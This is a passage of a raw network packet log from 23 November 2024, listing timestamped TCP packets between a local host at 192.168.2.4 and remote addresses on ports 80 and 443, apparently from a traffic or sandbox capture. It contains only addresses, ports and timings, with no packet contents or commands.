Nov 23, 2024 03:21:23.644537926 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.646158934 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.646205902 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.646256924 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.646296978 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.647922993 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.648055077 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.648092031 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.649750948 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.649832010 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.649880886 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.651478052 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.651556015 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.651592016 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.651643038 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.653248072 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.653301001 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.653350115 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.653397083 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.655011892 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.655107021 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.655159950 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.655952930 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.656769991 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.656882048 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.656939983 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.658538103 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.658585072 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.658636093 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.660355091 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.660394907 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.660403967 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.660434961 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.662079096 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.662146091 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.662180901 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.662218094 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.663850069 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.663952112 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.663999081 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.665616989 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.665680885 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.665718079 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.665756941 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.667370081 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.667423964 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.667475939 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.667556047 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.669152021 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.669203043 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.669262886 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.669331074 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.670948982 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.670984030 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.671017885 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.671052933 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.672693968 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.672754049 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.672774076 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.672794104 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.674452066 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.674503088 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.674587965 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.674753904 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.674848080 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.676224947 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.676273108 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.676354885 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.676393986 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.677987099 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.678034067 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.678093910 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.678136110 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.679747105 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.679871082 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.679913044 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.681581020 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.681622028 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.681658983 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.681699038 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.683295012 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.683407068 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.683451891 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.685065031 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.685117006 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.685173035 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.685216904 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.685435057 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.686825037 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.686933994 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.686983109 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.688589096 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.688640118 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.688906908 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.688956022 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.690383911 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.690483093 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.690510035 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.690535069 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.692179918 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.692236900 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.692290068 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.693900108 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.693973064 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.694011927 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.694052935 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.695648909 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.695745945 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.695795059 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.697422028 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.697465897 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.697484016 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.697523117 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.699203014 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.699311018 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.699362040 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.700973034 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.701034069 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.701061010 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.701062918 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.702629089 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.702749014 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.702790022 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.702840090 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.702878952 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.704515934 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.704565048 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.704595089 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.704791069 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.706273079 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.706360102 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.706373930 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.706413984 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.708034992 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.708141088 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.708163023 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.708195925 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.709811926 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.709867954 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.709923029 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.711561918 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.711672068 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.711723089 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.713340044 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.713388920 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.713444948 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.713489056 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.715111017 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.715229034 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.715276957 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.716672897 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.716818094 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.718620062 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.723395109 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.723404884 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.724484921 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.724489927 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.726073980 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.726083994 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.727097988 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.727103949 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.799361944 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.799379110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.799464941 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.799810886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.799945116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.800834894 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.800885916 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.800916910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.800965071 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.801852942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.801965952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.802629948 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.802848101 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.803076029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.803456068 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.803504944 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.803534031 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.803560972 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.803581953 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.803881884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.804016113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.804061890 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.804287910 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.804337025 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.804390907 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.804430962 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.804894924 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.805000067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.805905104 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.805948973 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.806044102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.806060076 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.806076050 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.806090117 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.806107998 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.806122065 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.806927919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.807041883 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.807086945 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.807691097 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.807733059 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.807941914 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.808063984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.808968067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.809015989 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.809081078 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.809128046 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.809987068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.810081959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.810625076 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.810997963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.811090946 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.812015057 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.812062979 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.812119961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.812167883 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.813018084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.813124895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.814038992 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.814105034 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.814157009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.814202070 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.815059900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.815155029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.815202951 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.816107035 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.816205978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.817085981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.817150116 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.817195892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.817243099 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.818094015 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.818211079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.818641901 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.819133997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.819242001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.820147038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.820194960 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.820266962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.820313931 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.821156025 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.821249008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.822195053 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.822252035 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.822258949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.822305918 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.823190928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.823292971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.823357105 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.824208021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.824309111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.825234890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.825282097 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.825345039 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.825397015 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.826241970 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.826349020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.826636076 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.827260971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.827390909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.827852964 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.828284979 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.828388929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.829289913 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.829338074 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.829442978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.829507113 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.830307961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.830419064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.830621004 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.831340075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.831454992 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.832350016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.832396984 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.832453966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.832503080 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.833353996 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.833466053 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.834022999 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.834072113 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.834075928 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.834103107 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.834420919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.834444046 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.834460020 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.834460974 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.834475994 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.834486961 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.834503889 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.834522009 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.835405111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.835508108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.835551977 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.835757971 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.835800886 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.835860014 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.835913897 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.836414099 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.836543083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.837127924 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.837171078 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.837220907 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.837244987 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.837255001 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.837407112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.837539911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.837588072 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.838442087 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.838473082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.838489056 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.838531017 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.838572979 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.838601112 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.838612080 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.839504004 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.839577913 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.839812994 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.839859962 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.839917898 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.839952946 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.839963913 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.840481043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.840589046 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.840643883 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.841161966 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.841209888 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.841278076 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.841311932 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.841470003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.841617107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.842504025 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.842551947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.842556953 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.842566967 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.842607975 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.842629910 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.842631102 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.842679024 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.843535900 CET	80	49786	34.116.198.130	192.168.2.4
